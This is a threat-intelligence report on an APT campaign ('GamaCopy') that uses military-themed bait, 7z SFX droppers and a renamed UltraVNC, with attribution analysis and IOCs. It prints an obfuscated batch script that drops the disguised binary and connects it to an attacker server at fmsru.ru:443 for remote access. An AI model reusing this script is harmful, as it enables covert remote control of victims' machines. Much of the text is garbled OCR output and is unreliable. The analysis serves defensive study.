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Recently, our team discovered attack samples targeting Russian-speaking targets during threat hunting.
In addition, another related sample was also identified. Both samples follow the same operation process
and use the same bait theme.

Through the analysis and association of the samples, the following characteristics are presented in this
sample:

1. Initiate attacks by using content related to military facilities as bait.

2. Use the 7z self — extracting program (SFX) to release and load subsequent payloads.

3. Use the open — source tool UltraVNC for subsequent attack behaviors.

4. The TTP (Tactics, Techniques, and Procedures) of this organization imitates that of the Gamaredon
organization which conducts attacks against Ukraine.

In the context of the ongoing Russia-Ukraine conflict, the attackers used the content related to military
facilities as bait to launch attacks using open source tools, which undoubtedly wanted to hide themselves
through the “fog of war”. By tracing the source of the sample, we have associated it with Core Werewolf,
a group that has launched multiple attacks against Russia. As is well known, there is another interesting
pair of APT attacks that love-hate relationship in the South Asian region, namely sidewinder and
sidecopy. The discovered attack activity this time mimics the Gamaredon organization that attacks
Ukraine, so it can be named GamaCopy.

At the same time, our team also noticed that multiple historical samples of the same type were attributed
to the Gamaredon organization by other security vendors. Obviously, this is a successful false flag
operation by the organization that has deceived some vendors who have not conducted in-depth
analysis. This article analyzes this question in detail as follows:

1. Sample analysis

The attacker provided information about the condition and location of Russian armed forces facilities,
among which the bait document in Sample 1 as follows:
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The bait document in Sample 2 is as follows:

Brimnoka
nz oceeaosreHEocT BOY o cocTonsn B nonosenann obsektos BC Pd
Hea cocmosnn wa TN 2024 2
INonyuens nadopmanps of yrposax Ge300acHocTH YHACTEVEINSH B ConiHansaoil BoeHAGH onepaun rpynnEpoEEn sofick.
TTpoTHEHNE OCBSIOMICH O JUCIOERNNE noapazaencanil Boopysesnso Cun Poconiicsodl henepausm:
Hara OfeexT Paiion X v
17.08.24 |Cronaenne BET I '
18.08.24 [Cromnenne n'c
19.08.24 |Cronaenne BET
19.08.24 | Yepame ana BET P - —1 .
15.08.24 |Cronaenne n'c N == UL
15.08.24 | Cronaenne BET

Taking Sample 1 as an example, when opened in the # mode of 7z, you can see the SFX related files
contained within it:
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File 2 is the SFX self-extracting installation script, which contains numerous character comments and
includes real running statements. Its main function is to run 2128869258671564.cmd (copied from
2128869258671564).

23 #2TF B % L3 # 21 F 34 # L2ER#5 L UTF=5(=)UTF=-8°5"0#2'# 1 B0 o UTF=2(=}UTF=2°s~C#0!¢ L S#d%¢# 1 & 1

338 5 & 0 B-)UTF-BoL~5888 13 # 21 % 34 § 1(-)UTF-8+1 G5 L@ L UTF-8{-) UT*UTF-8 (-} UTE-2* 4580 & 1~0 - ) UTF-2o 0 5801 $UTF-8 (- ) UTF-B=L 58818 1 24814
3SR B R L3R 2L OF 34N L2TP=8(=)UTF=24c*Z0Q!F L PEIC e UTF=2(=)UTP=8 c CPatd 1 B0 e UTF=R(=}UTF=3"c*ZHR!F L CHR! 1 3 ]

33 # 5 & B-)UTE-S°&~5#0'¢ & 13 # 21 # 3% # 12TF-O[-IUTF-B°&~5d9'% 1-8%§ 1 $Q#S 0 UTE-8([-ITTF-2%&~5#08 1 Q5 L UTF-3(-)UTE-B-4~5#0°4 1 S#004 1 #
A0S0 BN LI B 210 34 0 LITF-B(-)UTF-2c*S0B 1 0(=)UTF-8=6"508°0 1°6BI0 L BES UTF-B (-)UTF-8=c 0810 1 SOBIH L # 1

13 # 5 =)UTF=B*L-5#@'$% 8 F 13 § 21 § 34 § 12TF=8([=)UTF=C*L~5§@"'% 1 $AF5 L UTF=8 (=) OTF=2*L 5#@!'§ 1 QFE L UTF=8(=)UTF=2+t~C#8'¢ L SE@'¢ 1 § 1

3R S B0 B L3R 21 39 8 L2TF-0(1 TE-0°0 5800k L #9450 UTE-S () UTF-0° L 08008 1 G0 0 UTF-0(—818 1 JUTF-0 o 58008 L S804 1 & 1

(3 5 =)UTF=B*a~GdB'FF 8 # 13 § 21 # 34 # 12TF=8 (=) UTF=E*6"~5#8!% L FRSC 6 'UTF=8(=)UTF=5-4 F#B!'# 1 BéC e UTF=8(=}UTF=C*a~S48!F L GAM4 1 & 1

A E 5 &8 % 134 21 § 12IF-R(-)UTF-8vL 58018 1 #9E5 L UTF-8(-)UTE-8°L~5#A'# 1 G5 L UTF-8(-JUTE-8* 4 5808 1 58978 1 # 1

ad 8 @ 13 4 o1 4 & § J2fF-ar-qigFr-gec=2j LAEP-s-p-Zha* g 1 BRC L UTP-2(=)OTF-S*c*Z0B!F L CHE0 1 # 1

I_n'JnP:cq:az-'md.:o::::m fo copy Fy WTRCDRLEL N O\TRCDAY . L AWLATT

T3 T O 0TI e olaT] 197 217 387 I-Ir oI JIr-nre o d L #ads s UTF-8(-)UTF-8=4*588-8%4 1 § 1 S83*cUTF-8(-)UTF-A=5~38874 1 28040 1 #
23 # 5 #8 % L3¢ 21 fF 34 F L2TF=§ L $@FS C UTF=Z{=)UTF=-S L C§@'§ 1 B§0 Lo=)UTF-8ic R ! §UTE =JUTF=-2+c~S#0'¢ L S#0'¢F L § 1

A E 540k 13821 %354 12 Bi 928 1 TE-O[-IUTF-0°La~588 % 1L S5 0 UTF-5(—-9'# 1 JUIF-2 E0E L

23 # =pUTE=S"s"SHR!ES & 8 & 13 F 21 # 34 F =5 (=)UTF=E°&GH0:% 1 # E*OTF=S{=)UTF=8=&"CH3'# 1 CHB'F L ¥ L

At a8 $ 13 % 21 4 35 § 1oTF-af-({pr-pes~sEfig 1 it L —Si-¢ 1 # L SEEME 1§ 1

Ranfrogras="hidsoniemd /o

¥ 3 =} =S"L o#HF L Z1 = (=} SRR 11 IS P =E[=)UTF=-B&~Gf@§ 1 @S L UTF-S({-)UTF-S=5 5#@'¢F 1 G488 L & 1

34530 8 L3R 34 ¥ L2TF-0(-JUTF-2*0 54818 1 PR L UTF-8(-) ¥S~0*UTF-8 (- UTUTF-8 L 58818 1 RS L UTF-0(-)UTF-2*0°S48'¢ L S#0'8 1 8 1

il d SSTE b E g 33 f 31 g MoTFecy-VITFagepengpig 1 S0fsefTENE (= UTF=24c~5#804 1 @45 c UTF=3{=)UTF-B+L~CHa 3 L SH#R'# L # 1

|fankrogres==hidoonicmd /o od ATEMEN & Z13886325867L564.cmd™

AR SR EF L3N L F 38 I2TT=R(=10TF=C e Al F L FeC e "UTF=5(=)UTF=8"s"CHa50 1 BIS 6 UTF=8(=)UTF=S*c*SHB!F L GHR:0 L # 1 23 F S 0 5 0 1530 2
# B # 13 # 321 # 34 # L3TF-B(1 TF-24~S#9'¢ L #Q45 LoUTE-5[-)UTF-B+L 5§88 1 QFS L UTF-2({--9'# 1 JUTF-2+4~S#00¢ L $#81¢ 1 § 1

cd $TEMEY & copy

13 %5
A 05 -JUTE-00g 00000 8 0 L3 0 21 00 34 0 ISTP-D0-)UTF-00e Z@R00 L BEES e UTE-2q-pUTP-0=4 50800 1 RIS e UNT-0 (-1 UTF-2-a20810 L Se@td 1 0 1

(3 # 5 # 8 # 134 21§ L2TF-B(=)UTF=2*a~S#0'# L FRE G UTF=5(=)UTF=85 5#@!F 1 B0 o UTF=g (=) UTF=5 6 F#B'¢ 1 G#378 1 & 1

31 # 24 # LITE-B[-)UTF-0°0~58818 1 $O85°LoUTF-0 (-pUTF-2* 0 58018 1 QRS LOUTE-0(-JUTF-290 S48 L SO 1 # 1

3 F =)OTE=2°6~C#R0ES § 8 # 13 # 21 # 94 # 12TP-8(=)UIP-2°6~3#0 % 1 #R40°5 UTP=g(=)OTF=8"4"'# L @#2*s UTF=8 (=) UTF=-8-s 0858 1 081 L # L

33 # 8 # 13 # 21 # 3% § LZTE-8(-UTEHI ¢ L #94UTF-20-# L QS 0 UTF-B(-IUTFITF-S=4"540'¢ 1 58828 1 4 1

3NS5 08 P=)UTE-8=c C0810 13 F 21 0 34 0 1(=)VTF=-8°5"L UTF=8 (=) UTF-S*g*S0B! ¥ L 5P 1 BRS E =)pUTF-0"c SRR OUTE-0 (=) UTF-E c*Z08!F L SPEIF 1 0 1
3 # 5 # B-)UTF-2+a~S#00¢ & 13 # 21 # 34 # 12TF-8[-)UTF-g+L~5#80% 1 #8945 L UTF-8(-)UTF-2-4~ 0400 1 QES~LeUT - UTE-gsa~S#@ ¢ 2EEINE 1 £ 1
AR SR 0 R LR IL R M LETE-O(-IVTE-0-a 008 L B e UTE-2(-)UTP-D 0 38804 1 S5 VTF-0(-)UTF-2=g*Z40!8 L S0914 1 8 1

HIRInsTallEnAR!

2128869258671564.cmd is a bat script that uses setlocal enabledelayedexpansion to set local as a delay
extension (used to obfuscate subsequent script content and increase static analysis difficulty)
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@echo off

setlocal enabledelavedexpansion
set gHOSC9907T9L99D4900=%CCMPUTERNAMES
set dbS3P23403NE3223e6=4797

set rM91V31H31gS1lV41lES=Ultr

set HX%6bZeL4chleYeere=avVHC

set XB69m2o9ugsY0o9n29x3=ini

set Xus0aToIlelda’iueldET=co

set AnTEKSE1ZEYSEXS5E8dS%=nne

Zet tsS95IlcsyesnesBOSzE=Cth

set eQSTL1ITmeTas Tkl TFO=5vod

set KGl8KeB8K6IGeEBOSDS=fmsru.ru
set ko34v04E34glavidQZ=exe

set FW4TvETySTB2TLOTES=pdE

set EZ25055435E65B95LG=autore

set vDE3QE3s33mid3TE3RA6=443

set ewedY54Xe64de4554G3=Cnelrivers
set XGE0HE0020t60t60B3=co

set PHe2Q02ZnS2cT2ZwiZci=nhost

set Lz43F03e13503143u6=3%TEMP:\1%. 77655 ¢mid
timeout St 1

The script content before obfuscation is as follows:
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After obfuscating the variables, the script is as follows:

copy "KiSS8j08055FE8MSEqg2 . PgETGEETORT06TL2TYS" "gvod.pdf™ & start "" "$CD%\svod.pdf"
timeout /t 4

taskkill ff /im OneDrivers.sxe

copy "yCElySlwSlg7lp6lU4.EL21hllUL1Z31PT1FE" "OneDrivers.exe™

timeout ft 1

copy "1C3ZAZZWS2ZTIZR02ul .uE94YE4M14m542z84J3" "UlcraVHNC.ini™

gtart "' FTEMP:\OneDrivers.exe
timeout /t &
scart "7 FTEMPR\OneDrivers.exe —autoréconnéct =-id:&COMPUTERMAMER SVOD_47%7 -connect fmsru.ru:443

timecut ft 1
copy "gK71VOlW41541101f3.bg44£24KT4x64P1l4Y%" "conhost.exe"
cimeout ft 2

1loop
if exist "STEMP%\10277635.cmd"™ |
cmd fe "HTEMPE\10277635.cmd"
timeout St 1200

goto :loop

) else |

timeout ft &0

goto :loop

)

The main functions of the script include:

1. Copy Ki58j08058F68M58g2. PQ87G87097067r27Y9 to svod. pdf and run it.

2. Copy yC61y51v51g71p61U4. Eb21h11U11Z231P71F8 to OneDrivers. exe.

3. Copy IC32A32W52T12R02u1.uZ94Y64M14m54z84J3 to UltraVNC.ini.

4. End the OneDirivers. exe process that is already running on the host and rerun OneDrivers. exe.
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In fact, the “OneDrivers. exe” mentioned earlier is the main executable of the open-source remote
desktop tool UltraVNC. Attackers rename it as a common process name in the system and connect it to a
specified command server for the purpose of disguising themselves. This helps reduce the vigilance of
victims to a certain extent.

B OneDrivers.exe BiE

N S aEEs = FEEE LiankeE

Bt =}

15ER
I{FREE  VNC server
=S FRERF
MigEE  1.205

FER  UltraWNC
FrfEd  1.2.05

A Copyright © 2014 UltraVNC
Fo 1.74 MB

{EMHEE  2024/8/22 18:39

E= E=HiE

HiEETE VNC

FEEsriEE WinVMNC.exe

2. Attribution Analysis

Based on the information obtained from APT organizations, the attack sample may belong to two APT
organizations: Gamaredon or GamaCopy.

Gamaredon, also known as Shuckworm, Armageddon, and Primitive Bear, has been targeting Ukraine’s
military, non-governmental organizations, judiciary, law enforcement agencies, and non-profit
organizations since 2013.

GamaCopy was first discovered in June 2023 and has launched multiple cyberattacks against Russia’s
defense and critical infrastructure sectors by mimicking Gamaredo’s TTPs. It is believed that the
organization has been active since at least August 2021.

Gamaredo has repeatedly utilized 7z-SFX documents and UltraVNC in previous attack activities. After
analysis, we found that the entire attack chain of Gamaredo using UltraVNC has significant differences
from the sample discovered this time. Gamaredo often releases and loads the final UltraVNC through
macros, and uses VBS scripts multiple times in the attack chain. For example, in early 2022, foreign
security vendors exposed a Gamaredon attack on Ukraine, which downloaded subsequent payloads
through VBS scripts from multiple planned tasks, including an example of installing UltraVNC using 7z-
SFX[1]. At the same time, we found that Gamaredo used port 5612 more frequently when using
UltraVNC, rather than port 443 used in this sample.

So, does this attack sample belong to the GamaCopy organization? From the initial exposure of B.ZONE
[2], the structure and code of this sample show considerable overlap with GamaCopy’s tactics. For
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example, using 7z-SFX documentation to install and execute UltraVNC, using port 443 to connect to the
server, and using a large number of delay extension variables to increase code complexity.
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In addition, we noticed that the bait documents in this sample are military facilities and deployment
related. In the context of the current Russia-Ukraine conflict, such documents are sensitive and
interesting from the perspective of defense and attack. However, after we analyzed the proportion of
languages used in the past bait documents of the two organizations, we found that Gamaredon has
predominantly used Ukrainian-language bait, while GamaCopy mainly used Russian-language bait on the
contrary.

For example, sample bait targeting personnel related to defense policy at the Russian Ministry of Foreign
Affairs:

INIPUKA3

HAYAINBHWKA INMABHOIO YNPABIEHUA BO%HHOFI nonuuuun
MWHUCTEPCTBA OBOPOHbLI POCCUUCKOU ®ENEPALINKA

« 09 » okrsbpa 2019r. Ne 159

r. Mocksa

O nopsijike NpoBeAeHHS MPOBEPOK H OLIEHKH COCTOSIHHS PadoThl 0 PO3BICKY
BOCHHOCHYARANHX, YRKIOHAKIHIHXCH OT IMPOXOAKICHHHA BOEHHOM Cﬂ}’ﬂfﬁlﬂ,
a TAKJKe Co/leiicTBHA opranam BHYTpeHHHX el Poccuiickoii ®enepannn
B PO3BICKE BOEHHOCTYAKALUIHX, CAMOBOJIBHO OCTABHBIIHX BOHHCKOI YacTH
HJIH MecTa CIIYAKObI

An attack using internal orders of one of Russia’s largest joint-stock companies as bait:

5/6



P70

OTKPLITOE AKLUIWOHEPHOE OBLLECTBD
«POCCUACKWE XXENE3HDIE AOPOrUA»

(OAD «PXA»)
PACNOPSAXEHUE
28 cenracpa 2021 . Mockea w_2106/p

06 yreepxaennn niaana OAO «PH/I» no nporuBoaeiicTBHIO
Koppynuuu Ha 2021 - 2024 roael

3. Summary

Based on the above analysis, from the perspectives of code similarity, language usage in bait documents,
and port assets, it is more inclined to attribute the attack samples discovered in this case to the
GamaCopy organization. Since its exposure, this organization has frequently mimicked the TTPs used by
the Gararedon organization and cleverly used open-source tools as a shield to achieve its own goals
while confusing the public.

4.10C

Hash:

- c9ffc90487ddcb4bb0540ead4e2a1ce040740371bb0f3ad70e36824d486058349
- a9799ed289b967be92f920616015e58ae6e27defaad8f377d3cd701d0915fe53

- afcbaae700e1779d3e0abe52bf0f085945fc9b6935f7105706b1ab4a823f565f

- 2da473d1f510d0ddbae074a6¢13953863c25be479acedc899c5529ec55bd2a65
- 2b2da38b62916c448235038f09¢c51f226d96087df531b9a508e272b9e87¢909d
- f583523bba0a3c27e08ebb4404d74924b99537b01af5f35f43c44416f600079¢e

C2:
- nefteparkstroy.ru[:]443
- fmsru.ru[:1443
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